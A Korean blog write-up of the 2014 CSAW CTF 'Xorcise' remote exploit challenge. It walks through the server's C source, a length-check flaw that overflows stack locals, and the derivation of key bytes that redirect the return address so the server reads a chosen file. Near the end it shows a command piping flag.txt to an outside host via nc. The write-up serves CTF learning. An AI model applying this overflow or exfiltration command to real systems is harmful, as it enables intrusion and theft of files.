티스토리 뷰

최초 작성: 2014-10-21

최종 수정: 2014-10-22


안녕하세요. Hackability 입니다.


이번에 포스팅 할 내용은 2014 CSAW CTF에서 Pwnable 500pt 로 가장 배점이 높았던 Xorcise 라는 Remote Exploit 문제에 대해 작성하려 합니다. 본 writeup을 길지 않게 작성하려고 했는데 제가 말주변이 없어서 길어 진 것도 있긴 하지만 제가 삽질 했던 내용과 중간 중간에 필요한 과정들을 모두 넣어 많은 사람들이 이해했으면 하는 마음으로 좀 길더라도 자세하게 넣었습니다. :'(


문제 내용은 따로 없었고, 첨부된 파일은 다음과 같습니다.


xorcise.c


xorcise

문제에서 제공된 .c 코드를 보면 다음과 같이 구성되어 있습니다.


# Main function
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
int main(int argc, char *argv[])
{
    FILE *fd; 
    char *newline;
 
    printf("           ---------------------------------------\n");
    printf("           --            XORCISE 1.1b           --\n");
    printf("           --   NOW WITH MORE CRYPTOGRAPHY!!!   --\n");
    printf("           ---------------------------------------\n");
 
    fd = fopen("password.txt""rb");
    if (NULL == fd)
    {
        printf("Error: failed to open password.txt!\n");
        exit(1);
    }
 
    start_time = time(NULL);
 
    memset(password, 0, sizeof(password));
    fgets(password, sizeof(password), fd);
    fclose(fd);
 
    newline = strchr(password, 0x0a);
    if (NULL != newline)
    {
        *newline = 0x0;
    }
 
    tcp_server_loop(24001);
    return 0;
}


먼저, 문제 서버에 있는 password.txt라는 파일을 읽어 password 라는 변수에 저장하고 tcp_server_loop에 들어 가게 됩니다. 


# tcp_server_loop function
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
int tcp_server_loop(uint16_t port)
{
    int sd;
    int client_sd; 
    struct sockaddr_in server; 
    struct sockaddr_in client;
    socklen_t address_len;
 
    pid_t process_id;
    struct sigaction sig_manager;
    
    memset(&server, 0, sizeof(server)); 
    memset(&client, 0, sizeof(client));
 
    sig_manager.sa_handler = reap_exited_processes;
    sig_manager.sa_flags = SA_RESTART;
    
    if (-1 == sigfillset(&sig_manager.sa_mask))
    {
        printf("Error: sigfillset failed\n");
        return -1;
    }
 
    if (-1 == sigaction(SIGCHLD, &sig_manager, NULL))
    {
        printf("Error: sigaction failed\n");
        return -1;
    }
 
    sd = socket(AF_INET, SOCK_STREAM, 0); 
    if (sd < 0)
    {
        printf("Error: failed to acquire socket\n");
        return -1;
    }
 
    address_len = sizeof(struct sockaddr);
    server.sin_family = AF_INET;
    server.sin_port = htons(port);
    server.sin_addr.s_addr = INADDR_ANY;
 
    if (-1 == bind(sd, (struct sockaddr *)&server, address_len))
    {
        printf("Error: failed to bind on 0.0.0.0:%i\n", port);
        return -1;
    }
 
    if (-1 == listen(sd, SOMAXCONN))
    {
        printf("Error: failed to listen on socket\n");
        return -1;
    }
 
    printf("Entering main listening loop...\n");
    while (1)
    {
        client_sd = accept(sd, (struct sockaddr *)&client, &address_len);
        if (-1 == client_sd)
        {
            printf("Error: failed accepting connection, continuing\n");
            continue;
        }
 
        printf("Accepted connection from %s\n", inet_ntoa(client.sin_addr)); 
        
        process_id = fork();
        if (0 == process_id)
        {
            process_connection(client_sd);
            close(client_sd); 
            close(sd);
            exit(0);
        }
 
        close(client_sd);

    }
}


tcp_server_loop에서는 딱히 흥미로운 부분은 없었고, 단순히 24001번 포트로 서버를 생성하고 클라이언트 접속을 받아 주는 코드와 클라이언트가 서버에 접속하면 fork를 하여 child process에서 process_connection 함수로 넘어 가는 것을 확인할 수 있습니다. (line 55~77)


# process_connection function
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
int process_connection(int sockfd)
{
    ssize_t bytes_read;
    cipher_data encrypted;
    uint8_t decrypted[128];
    request *packet;
    uint32_t authenticated;
 
    memset(&encrypted, 0, sizeof(encrypted));
    memset(&decrypted, 0, sizeof(decrypted));
 
    bytes_read = recv(sockfd, (uint8_t *)&encrypted, sizeof(encrypted), 0);
    if (bytes_read <= 0)
    {
        printf("Error: failed to read socket\n");
        return -1;
    }
 
    if (encrypted.length > bytes_read)
    {
        printf("Error: invalid length in packet\n");
        return -1;
    }
 
    decipher(&encrypted, decrypted);
 
    packet = (request *)&decrypted;
    authenticated = is_authenticated(packet, encrypted.key);
 
    if (authenticated) printf("Packet is authenticated\n");
    else               printf("Packet is NOT authenticated\n");
 
    switch (packet->opcode)
    {
        case 0x01:
            printf("Timestamp Request\n");
            timestamp(sockfd);
            break;
        case 0x24:
            printf("Uptime Request\n");
            uptime(sockfd);
            break;            
        case 0x3A:
            if (0 == authenticated)
            {
                send(sockfd, AUTH_ERROR, strlen(AUTH_ERROR), 0);
                return -1;
            }
            printf("Read File Request: %s\n", packet->data);
            read_file(sockfd, packet->data);
            break;
        case 0x5C:
            if (0 == authenticated)
            {
                send(sockfd, AUTH_ERROR, strlen(AUTH_ERROR), 0);
                return -1;
            }
            printf("Execute Command Request: %s\n", packet->data);
            system(packet->data);
            break;
        default:
            printf("Unknown opcode: %08x\n", packet->opcode);
            break;
    }
    return 0;
}


이 함수부터 문제가 시작이 되었습니다. 먼저, recv함수를 통해 서버는 클라이언트로 부터 입력을 받습니다. 이 때, 클라이언트로 부터 입력 받은 값은 encrypted라는 변수에 저장되게 되고 decipher 함수를 통해, encrypted 내용이 decrypted로 변경되게 됩니다. 먼저, decipher가 어떻게 동작하는지 확인해보도록 하겠습니다.


# decipher function
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
uint32_t decipher(cipher_data *data, uint8_t *output)
{
    uint8_t buf[MAX_BLOCKS * BLOCK_SIZE];    
    uint32_t loop;
    uint32_t block_index;
    uint8_t xor_mask = 0x8F;
 
    memcpy(buf, data->bytes, sizeof(buf));
    if ((data->length / BLOCK_SIZE) > MAX_BLOCKS)
    {
        data->length = BLOCK_SIZE * MAX_BLOCKS;
    }
 
    for (loop = 0; loop < data->length; loop += 8)
    {
        for (block_index = 0; block_index < 8; ++block_index)
        {
            buf[loop+block_index]^=(xor_mask^data->key[block_index]);
        }
    }
    memcpy(output, buf, sizeof(buf));
}


이 함수에서는 사용자 입력을 체크하고, 특정 xor연산을 이용하여 encrypted된 내용을 decrypted하게 됩니다. 먼저, 여기서 사용된 주요한 구조체와 상수 값을 살펴 보면 다음과 같습니다.


# cipher_data structure and static variables
1
2
3
4
5
6
7
8
9
10
#define BLOCK_SIZE 8
#define MAX_BLOCKS 16
 
struct cipher_data
{
    uint8_t length;
    uint8_t key[8];
    uint8_t bytes[128];
};
typedef struct cipher_data cipher_data;

cipher_data 구조체는 사용자가 입력한 값(encrypted)을 저장하기 위한 장소 입니다. uint8_t 는 unsigned char 이기 때문에 1바이트 크기를 갖습니다. 따라서 사용자가 입력한 값을 cipher_data로 넣을 경우 다음과 같이 들어 가게 됩니다.


입력값: "\x01\x02\x03\x04\x05\x06\x07\x08\x09AAAAAAAA...(128 times)"


length     = 0x01

key[8]     = 0x0203040506070809

bytes[128] = AAAAAAAA...(128 times)


decipher 함수는 처음에 사용자 입력 값의 bytes값을 지역 변수인 buf[128]에 memcpy를 이용하여 저장합니다. 이 후, 사용자가 입력했던 첫 번째 값 (length) / BLOCK_SIZE(8) 이 MAX_BLOCKS (16) 보다 큰지 검사 하고, 만약 입력 값이 크다면 프로그램에서 제한하는 값 (BLOCK_SIZE * MAX_BLOCKS = 128)로 설정을 하고 그렇지 않다면 다음 로직으로 넘어가게 됩니다.


겉 보기에 위 로직이 문제가 없어 보이지만 실제로 취약점이 발생되는 부분은 위의 체크 로직에서 발생됩니다. 일반적으로 프로그램의 기대값은 최대 128을 기대 하고 나누기 8을 하면 최대 16개 블록으로 나눠기질 기대합니다. 하지만 위 코드를 IDA를 통해 들여다 보면 다음과 같이 어셈 코드로 구성되어 있음을 알 수 있습니다.



위 코드와 같이 실제론 128이 아닌 135 까지 length 값을 지정할 수 있습니다. (135 / 8 = 16으로 연산 되기 때문) length 를 135 까지 지정하여 체크 로직 취약점을 발생시킨 경우, 아래 2중 for 문에서 예상치 못한 연산을 하게 됩니다. 원래 대로라면 첫 번째 for 문에서 length가 128이 될 때, 종료되게 되는데 만약 length를 135로 입력 할 수 있게 되면 for문의 조건이 128 < 135으로 되어 의도치 않게 한 번 더 for문을 돌게 되고 buf의 인덱스가 buf 변수 범위를 넘어서서 다른 지역 변수를 덮어 쓰게 됩니다.


먼저, 지역 변수의 위치를 GDB를 통해 살펴 보면 다음과 같습니다

(gdb)disas decipher



위 내용을 간단히 나타내면 다음과 같습니다.


buf         = ebp - 0x95 (0x95 ~ 0x15 = 0x80 = 128 byte)

xor_mask    = ebp - 0x15 (0x15 ~ 0x14 = 0x01 = 1 byte)

block_index = ebp - 0x14 (0x14 ~ 0x10 = 0x04 = 4 byte)

loop        = ebp - 0x10 (0x10 ~ 0x0C = 0x04 = 4 byte)


buf 변수에 데이터가 저장되는 방향은 0x95에서 0x15쪽으로 데이터가 쌓이게 됩니다. buf의 크기가 128 byte 인데 우리가 쓸 수 있는 데이터는 체크 로직 버그에 의해 135 byte를 쓸수 있기 때문에 buf를 꽉채우고 xor_mask, block_index 그리고 loop 의 처음 2바이트 까지 (총 7바이트)덮어 쓸수 있어, 우리가 원하는 값으로 변경 시킬 수 있습니다. 한 가지 추가 내용으로, for 문 이전의 memcpy에서 buf에 의해 다른 지역변수들이 덮어 써지지 않는 이유는 memcpy의 크기를 buf의 크기 (128)로 했기 때문에 memcpy에서는 다른 변수들에 영향을 주지 않습니다.


또한, 본 문제에서는 스택 카나리가 적용되어 있지 않아 버퍼 오버 플로우를 통해 decipher 함수의 리턴 주소를 조작하여 우리가 원하는 위치로 뛸 수 있을 것같습니다. (저는 미련하게 처음에 문제를 받았을 때, 소스를 제가 직접 컴파일 하여 스택 카나리가 적용된 바이너리를 분석하고 있었습니다 -_-;; 만약 컴파일 시 스택 카나리를 제거 하고 싶다면 gcc 옵션에 -fno-stack-protector 를 추가하여 컴파일 하시면 됩니다만 문제에서 제공되는 바이너리로 하시는 것을 추천합니다...)


그러면 이제, 어떻게 2중 for 문에서 로직 버그에 의해 decipher의 리턴 주소를 조작할 수 있는지 살펴 보도록 하겠습니다. 먼저 xor하는 부분을 살펴 보면 다음과 같은 로직으로 되어 있습니다.


for (loop = 0 ; loop < data->length ; loop+=8)

  for (block_index = 0 ; block_index < 8 ; ++block_index)

    buf[loop+block_index] = buf[loop+block_index] ^ xor_mask ^ key[block_index]


처음 buf에는 memcpy를 통해 우리가 입력했던 값 ("C" * n)이 들어 있고 key값에도 우리가 입력 했던 key값 (0x02030405060700809)이 들어 있고 마지막으로 xor_mask에는 0x8F가 들어 있습니다. loop와 block_index가 하나씩 증가 할 때 마다 어떻게 연산이 되는지는 다음과 같습니다. (편의상 loop = l, block_index = bi 으로 칭하겠습니다.)


l   bi | buf[l+bi]  xor_mask  key[bi]  RESULT

--------------------------------------------------------

0   0  | 0x41     ^ 0x8F    ^ 0x02     = buf[0] = 0xCC

0   1  | 0x41     ^ 0x8F    ^ 0x03     = buf[1] = 0xCD

0   2  | 0x41     ^ 0x8F    ^ 0x04     = buf[2] = 0xCA

...


위와 같이 계산하면 복잡해 지기 때문에 간소화 시키기 위해 입력 값 (128 byte)를 모두 0x00으로 채우고 key (8 byte)역시 0x00으로 채우면 다음과 같이 진행되게 됩니다.


l   bi | buf[l+bi]  xor_mask  key[bi]  RESULT

--------------------------------------------------------

0   0  | 0x00     ^ 0x8F    ^ 0x00     = buf[0]   = 0x8F

0   1  | 0x00     ^ 0x8F    ^ 0x00     = buf[1]   = 0x8F

0   2  | 0x00     ^ 0x8F    ^ 0x00     = buf[2]   = 0x8F

...

120 0  | 0x00     ^ 0x8F    ^ 0x00     = buf[120] = 0x8F
120 1  | 0x00     ^ 0x8F    ^ 0x00     = buf[121] = 0x8F
120 2  | 0x00     ^ 0x8F    ^ 0x00     = buf[122] = 0x8F
120 3  | 0x00     ^ 0x8F    ^ 0x00     = buf[123] = 0x8F
120 4  | 0x00     ^ 0x8F    ^ 0x00     = buf[124] = 0x8F
120 5  | 0x00     ^ 0x8F    ^ 0x00     = buf[125] = 0x8F
120 6  | 0x00     ^ 0x8F    ^ 0x00     = buf[126] = 0x8F
120 7  | 0x00     ^ 0x8F    ^ 0x00     = buf[127] = 0x8F  (마지막 루프)

우리는 총 135 byte까지 입력을 할 수 있기 때문에 더 입력을 하면 다음과 같은 의미를 갖습니다.


buf[128]       = xor_mask    1 byte

buf[129 ~ 132] = block_index 4 byte

buf[133 ~ 134] = loop 변수의 처음 2 byte


연산은 다음과 같습니다.


buf[128] = buf[128] ^ xor_mask ^ key[0]

buf[129] = buf[129] ^ xor_mask ^ key[1]

buf[130] = buf[130] ^ xor_mask ^ key[2]

buf[131] = buf[131] ^ xor_mask ^ key[3]

buf[132] = buf[132] ^ xor_mask ^ key[4]

buf[133] = buf[133] ^ xor_mask ^ key[5]

buf[134] = buf[134] ^ xor_mask ^ key[6]


먼저 연산의 편의성을 위해 xor_mask를 0으로 만들어 보도록 하겠습니다. buf[128]은 xor_mask를 가리키고 있기 때문에 0x8F 값을  가지고 있고, xor_mask 는 0x8F 그렇기 때문에 key[0]을 0x00으로 설정한다면 buf[128] = xor_mask = 0x00이 될 것 같습니다.


buf[128] = buf[128](= xor_mask) ^ xor_mask ^ key[0]

         = 0x8F ^ 0x8F ^ 0x00 = 0x00


이 후, buf[129]는 block_index의 첫 번째 바이트 값을 가리키고 있는데, block_index를 잘못  값을 주어 8 이상의 값으로 되게 되면 for문이 종료되어 그 이상 진행 할 수 없게 됩니다. 따라서, block_index는 원래 로직 처럼 동작을 시키기 위해 다음과 같이 진행합니다. 

(현재 block_index = 1)


buf[129] = buf[129](= block_index[0]) ^ xor_mask ^ key[1]

         = 0x01 ^ 0x00 ^ 0x00 = 0x01


buf[130] = buf[130](= block_index[1]) ^ xor_mask ^ key[2]

         = 0x00 ^ 0x00 ^ 0x00 = 0x00


(block_index[1]이 0x02가 아닌 이유는 block_index[0]의 범위가 0~255이기 때문에 for문의 증감 연산에 의해 block_index가 증가 하게 되면 255 이하 까지는 block_index[0]이 증가 하게 되고 256 부터 block_index[1]이 증가 하게 됩니다. 만약 block_index[1]의 값에 1을 주게 되면 256이 되게 되어 [block_index < 8] 조건에 의해 for문이 바로 종료되게 됩니다.)


buf[131] = buf[131](= block_index[2]) ^ xor_mask ^ key[3]

         = 0x00 ^ 0x00 ^ 0x00 = 0x00


buf[132] = buf[132](= block_index[3]) ^ xor_mask ^ key[4]

         = 0x00 ^ 0x00 ^ 0x00 = 0x00


자 여기 까지 xor과 block_index를 덮어 썻습니다. 이제 loop를 덮어 쓸 차례입니다. loop 변수의 경우, 현재 for문과는 관계가 없기 때문에 어떤 값이든지 만들어 쓸수 있습니다. 또한, loop 값이 buf의 인덱스로 사용되고 있기 때문에 loop값을 높여 buf가 decipher함수의 리턴 주소를 가리키도록 만들 수 있습니다.


먼저 gdb를 통해 decipher 함수의 리턴 주소를 확인해보겠습니다.


decipher의 프롤로그 부분을 통해 우리는 함수의 구성이 다음과 같이 되어 있음을 알 수 있습니다.


EBP+0x04 : RETURN ADDRESS

EBP-0x00 : EBP

EBP-0x04 : EDI

EBP-0x08 : ESI

EBP-0x0C : EBX

EBP-0x10 : loop

EBP-0x14 : block_index

EBP-0x15 : xor_mask

EBP-0x95 : buf

EBP-0x9C : ESP


우리가 buf를 통해 return address(EBP+0x1 ~ EBP+0x4)를 가리키게 하려면 buf + 0x99 (EBP+0x1)를 해야지 가리킬 수 있습니다. 따라서 buf[loop + block_index] 를 buf[0x99]로 만들면 buf가 return address를 가리킬 수 있게 됩니다. 여기서 한 가지 주의할 점은, 현재 loop 값 을 변경할 시에는 0x98로 만들어야지 다음 루프 때, block_index가 +1 되면서 0x99를 가리킬 수 있게 됩니다. block_index 는 현재 5이기 때문에 loop를 0x93으로 만들어 주면 될 것 같습니다. 현재 loop[0]의 값은 0x80 이기 때문에 0x13을 xor 하면 loop를 0x93으로 만들 수 있습니다. 이를 위해 key[5]를 0x13으로 넣어 줍니다.


buf[133] = buf[133](=loop[0]) ^ xor_mask ^ key[5]

         = 0x80 ^ 0x00 ^ 0x13 = 0x93


자, 이제 다음 루프의 인덱스를 살펴 보면 loop = 0x93, block_index = 0x06 이기 때문에 buf[0x99]로 접근을 하게 되고, 이는 return 주소의 최하위 바이트를 가리키고 있습니다. 현재 까지 총 6번 for문을 돌았고, 앞으로 2번 더 입력을 할 수 있기 때문에 return 주소의 최하위 2바이트를 조작 할 수 있습니다.


제일 난감했던 for 문은 여기 까지 하고 잠깐 멈추고, return 주소가 조작될 수 있으니 이제 어디로 뛸지 한 번 생각해봅니다. process_connection 함수에서 decipher 이후, 우리가 관심있는 영역을 보면 line 50에 있는 read_file 함수, 또는 line 59에 있는 system 함수가 괜찮아 보입니다. read_file 함수를 보면 다음과 같습니다.


# read_file function
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
void read_file(int sockfd, uint8_t *name)
{
    FILE *fd;
    size_t bytes_read;
    uint8_t buf[128];
 
    fd = fopen(name, "r");
    printf("file name is [%s] \n", name);
 
    if (NULL == fd)
    {
        printf("Error: %s\n", FILE_ERROR);
        send(sockfd, FILE_ERROR, strlen(FILE_ERROR), 0);
        return;
    }
 
    memset(buf, 0, sizeof(buf));
    while (1)
    {
        bytes_read = fread(buf, 1, sizeof(buf), fd);
        if (0 == bytes_read)
        {
            break;
        }
        send(sockfd, buf, bytes_read, 0);
    }
    fclose(fd);
    return;
}

  

read_file의 내용은 지정된 파일명을 이용하여 읽고 클라이언트에게 send를 합니다. 우리가 제일 필요한 함수 인 것 같습니다. 읽어야 할 파일은 처음에 main 함수에 보였던 password.txt 파일 입니다. 이 파일 자체는 정답 파일이 아니지만 이 파일의 내용이 있어야지 인증을 할 수 있도록 프로그램 되어 있습니다. 따라서, password.txt 파일을 읽어서 password를 추출 한 뒤, 해당 password를 이용하여 프로그램을 인증시켜 system 함수를 호출하고, system 함수를 통해 flag를 찾으면 될 것 같습니다. (password.txt를 읽어 인증하는 부분은 제공 되는 소스코드를 이용하여 checksum값과 opcode값을 만들면 간단히 해결되기 때문에, 여기서는 바로 flag.txt를 읽어 정답을 찾아 보도록 하겠습니다.)


먼저 gdb를 통해 read_file이 호출 되기 전 상황을 살펴 보아 어디로 뛸지 찾아 봅니다.

0x08049299, 0x0804929a를 통해 call 하기 전에 push를 이용하여 함수의 인자를 전달 하고 있습니다. push eax는 파일 명을 갖고 있고 push DWORD PTR [ebp+0x8]은 파일 디스크립터를 갖고 있습니다. 우리가 뛸 위치는 스택 구조 또는 레지스터에 영향을 받기 때문에 eip가 해당 위치에 있을 때, 스택 구조와 레지스터 값이 어떻게 설정되어 있는지 확인 할 필요가 있습니다. 먼저 0x0804928d : add esp, 0x10의 위치로 뛰어 보도록 하겠습니다. 그 이유는 원래 decipher함수가 종료된 뒤, 스택 정리를 위해 add esp, 0x10을 하게 되는데 우리가 강제로 리턴 주소를 바꿔주었기 때문에 스택이 정리가 되지 않은 상태로 뛰게 됩니다. 따라서 우리가 원하는 위치 근처에 있는 add esp, 0x10을 첫 번째 타겟으로 점프를 시도 해 봅니다.


그러면 마지막 2개의 값을 0x8D, 0x92로 만들어 주어야 합니다. 


buf[0x99] = buf[0x99](=ret[0]) ^ xor_mask ^ key[6] will be 0x92

buf[0x9a] = buf[0x9a](=ret[1]) ^ xor_mask ^ key[7] will be 0x8D


먼저 decipher 함수의 ret[0]과 ret[1]에 어떤 값이 있는지 확인해야 합니다. return 주소는 함수가 종료된 뒤, 다음 instruction의 주소이기 때문에 gdb를 통해 주소 값을 확인 할 수 있습니다.


위 내용을 통해 ret[0]=0x94, ret[1]=0x91임을 알수 있습니다. 그렇다면 다시 위 연산으로 돌아가 ret[0]=0x92, ret[1]=0x8D를 만들기 위해서는 다음과 같이 key값이 설정되야 함을 알 수 있습니다.


buf[0x99] = ret[0] = 0x94 ^ 0x00 ^ key[6] = 0x8d, 따라서 key[6] = 0x19

buf[0x9a] = ret[1] = 0x91 ^ 0x00 ^ key[7] = 0x92, 따라서 key[7] = 0x03


이제 입력을 위한 모든 값들이 구해 졌습니다. 위 내용을 요약하면 아래와 같습니다.

length = 0x87 (135)

key    = 0x00, 0x00, 0x00, 0x00, 0x00, 0x13, 0x19, 0x03

bytes  = 0x00, 0x00, 0x00 ... (135개)


위 내용을 파이썬으로 구현 하면 다음과 같습니다.

로컬에서 테스트를 하기 위해 root권한으로 동작하는 쉘과 일반 권한을 갖는(여기서는 hackability) 쉘을 띄워 테스트 해보도록 하겠습니다. root 권한으로 동작하는 쉘은 문제 서버라고 가정하고, xorcise를 돌리는 위치에 password.txt와 flag.txt를 만들어 줍니다. 여기서는 간단히 root 쉘을 다음과 같이 설정하였습니다.

(root 권한을 문제 서버로 가정)


(hackability 권한을 플레이어로 가정)


테스트를 위해 먼저, root 권한의 쉘에서 다음과 같이 gdb를 설정하고 대기 합니다. 클라이언트의 접속이 자식 프로세스에서 이루어 지기 때문에 set follow-fork-mode child를 통해 자식 프로세스를 추적합니다. 우리가 원하는 위치 (process_connection+431)에 bp를 걸고 구동시킵니다.


이제 일반 권한을 갖는 쉘로 돌아와 python을 구동 시키고 gdb 에서 bp의 내용을 확인합니다.


자! gdb 내용을 통해 우리가 원하는 위치로 eip가 변경되었음을 확인했습니다. 이제 중요한 것은 스택에 올라와 있는 내용과 레지스터 (특히 eax, ebp+0x8)의 내용입니다. 내용을 살펴 보면 다음과 같습니다.


다시 한번 우리의 목표를 상기하면, read_file이 호출되기 전에 2번의 push를 통해 인자 값을 전달하게 됩니다. push eax를 통해 파일명을 전달하고, push [ebp-0x8]을 통해 파일 디스크립터 (여기서는 소켓 번호)를 전달하게 됩니다. 


그런데 eax를 잘 보시면 우리가 원하는 eip로 뛴 후에 가리키고 있는 값이 우리가 처음에 데이터를 넣은 값의 두 번째를 가리키고 있습니다. 우리가 입력한 값은 0xffffcd53 (0x8f)부터 0xffffe2 (0x8c) 까지 저장되어 있는 모습을 확인할 수 있습니다. 그렇다면 입력 값을 통해 파일명을 전달 시킬 수 있을 것 같습니다.


파일명을 주기 전에 먼저, 우리는 위에서 스택을 조정하기 위해 0x0804928d로 뛰었습니다. 스택을 조정하기 위해 위 위치로 뛴다는 생각은 나쁘지 않았던것 같은데 그 이후 어셈블리 코드를 보면 다음과 같습니다.


=> 0x0804928d <+431>: add    esp,0x10

   0x08049290 <+434>: mov    eax,DWORD PTR [ebp-0x10]

   0x08049293 <+437>: add    eax,0x8

   0x08049296 <+440>: sub    esp,0x8

   0x08049299 <+443>: push   eax

   0x0804929a <+444>: push   DWORD PTR [ebp+0x8]

   0x0804929d <+447>: call   0x8048f6c <read_file>


이 때, 문제점은 add esp, 0x10을 해서 decipher 함수 스택 프레임에서 process_connection   함수 스택 프레임으로 맞춰 준다는 아이디어 까지는 좋았는데 그 이후 mov eax, [ebp-0x10]을 실행 시, ebp-x10은 0x00000000을 갖고 있기 때문에 eax에 0 값이 들어 가게 되고 결국 read_file 함수로 들어 가는 파일명을 못 주게 됩니다. 따라서, 0x0804928d로 점프하는 것은 좋지 못한 결과를 갖습니다. 우리가 조작한 eip로 점프한 시점에서 이미 eax 값이 우리가 원하는 값을 갖고 있으므로 0x08049299의 위치로 바로 점프하여 실행해보도록 하겠습니다. 


그렇다면 위의 파이썬 코드에서 몇 가지 변경해야 할 점이 있습니다. 일단 return 주소를 0x08049299로 변경해야 하며 xor_mask와 key를 xor 했을 시 우리가 원하는 파일명 password.txt 또는 flag.txt가 나올 수 있도록 변경해야 합니다.


먼저, return address를 변경하기 위해 위의 로직대로 다시 계산해보면 0x08049299의 리턴 주소를 만들기 위해 key값이 다음과 같이 되야 함을 알 수 있습니다.


key = [0x00, 0x00, 0x00, 0x00, 0x00, 0x13, 0x0d, 0x03]


eax는 bytes[1] (2 번째 위치)를 가리키고 있고, 인덱스가 127보다 작기 때문에 xor_mask (0x8F)와 key값에 의해 xor 연산이 되게 됩니다. 따라서 password.txt\x00 라는 값을 만들기 위해서는 " password.txt\x00" ^ xor_mask ^ key 의 값을 계산하여 입력을 해주면 xor_mask와 key값에 의해 xor 된 값이 " password.txt"이 나오게 되고, eax는 두 번째 위치를 가리키고 있기 때문에 결국 eax의 값은 password.txt를 갖게 됩니다.


위의 로직을 파이썬 코드로 구현하면 다음과 같습니다.


이제 위 코드를 테스트 하기 위해 아까와 마찬가지로 gdb를 실행 시킵니다. 이전의 gdb를 끄고 다시 켯을 때, binding error가 나면서 프로그램이 실행이 안될 경우,


#killall xorcise 


을 통해 xorcise 프로그램을 종료 시켜 주시고 만약 handshake wait time에 의해 binding error 가 발생한다면, 


#netstat -nao | grep 24001 


를 입력하여 소켓 재사용시간을 확인하여 모두 종료된 뒤 다시 프로그램을 실행 시켜 주시면 됩니다. (보통 1분 정도)


ni 명령을 통해 0x08049299와 0x0804929a를 실행 시키고 스택에 쌓인 내용을 보면, read_file의 인자로 들어 가는 소켓 디스크립터 (0xffffcde8) 0x4와 파일 명이 있는 위치 (0xffffcd54)에 "password.txt"가 정확하게 들어가 있음을 확인할 수 있습니다.


인자 값이 정확하게 들어 갔음을 확인 했기 때문에 gdb를 종료 하고 root 쉘에서 ./xorcise를 통해   프로그램을 구동 시키고 문제 푸는 쉘에서 위의 파이썬 코드를 실행 시키면 다음과 같은 결과를 얻을 수 있습니다. bytes의 내용을 첫 번째는 password.txt로 하여 실행 하였고, 두 번째는 flag.txt로 변경하여 실행 하였습니다.

추가 사항으로 만약 system 함수로 접근하여 문제를 해결하기 위해서는 단순히 cat flag.txt만으로는 정답을 받을 수가 없습니다. 그 이유는 cat flag.txt를 전달하면 문제 서버에서만 cat flag.txt를 하여 출력하지만 문제를 푸는 사람에게 출력 값을 전달하지 않기 때문에 아래와 같은 방법으로 문제 푸는 사람에게 서버의 출력을 redirection 시켜줘야 합니다.


#cat flag.txt | nc 111.222.333.444 55555


또는


#cat flag.txt >&4   (socket decriptor가 4번이기 때문에 4번으로 출력을 연결)


이를 통해 정상적으로 문제 프로그램이 동작하는 위치의 password.txt값과 flag.txt를 읽음으로써 문제를 해결 할 수 있었습니다.

댓글